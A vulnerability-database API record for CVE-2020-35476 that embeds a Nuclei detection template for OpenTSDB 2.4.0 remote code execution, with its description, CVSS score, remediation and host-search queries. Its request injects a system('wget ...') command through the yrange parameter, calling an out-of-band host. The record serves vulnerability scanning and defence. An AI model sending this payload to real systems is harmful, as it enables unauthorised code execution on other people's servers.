{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2020-35476/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2020-35476/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2020-35476/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2020-35476/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2020-35476/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2020-35476"},"sightings":{"href":"/api/v1/sightings/cve-2020-35476"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2020/CVE-2020-35476.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2020-35476\n\ninfo:\n  name: OpenTSDB <=2.4.0 - Remote Code Execution\n  author: pikpikcu\n  severity: critical\n  description: |\n    OpenTSDB 2.4.0 and earlier is susceptible to remote code execution via the yrange parameter written to a gnuplot file in the /tmp directory. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.\n  remediation: |\n    Upgrade OpenTSDB to a version higher than 2.4.0 to mitigate this vulnerability.\n  reference:\n    - https://github.com/OpenTSDB/opentsdb/issues/2051\n    - http://packetstormsecurity.com/files/170331/OpenTSDB-2.4.0-Command-Injection.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2020-35476\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2020-35476\n    cwe-id: CWE-78\n    epss-score: 0.8533\n    epss-percentile: 0.99706\n    cpe: cpe:2.3:a:opentsdb:opentsdb:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: opentsdb\n    product: opentsdb\n    shodan-query:\n      - html:\"OpenTSDB\"\n      - http.html:\"opentsdb\"\n    fofa-query: body=\"opentsdb\"\n  tags: cve,cve2020,opentsdb,rce,packetstorm,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27wget%20http://{{interactsh-url}}%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - plotted\n          - timing\n          - cachehit\n        condition: and\n\n      - type: word\n        part: header\n        words:\n          - application/json\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022059667f26a8aeb038215f1e23f31dcb9b671b104797bbb9669b4826780692c759022100b0af7ce874ff200b6515b323789e9f55427d81c0a5142a9dbd640811d897f2a8:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2020-35476"}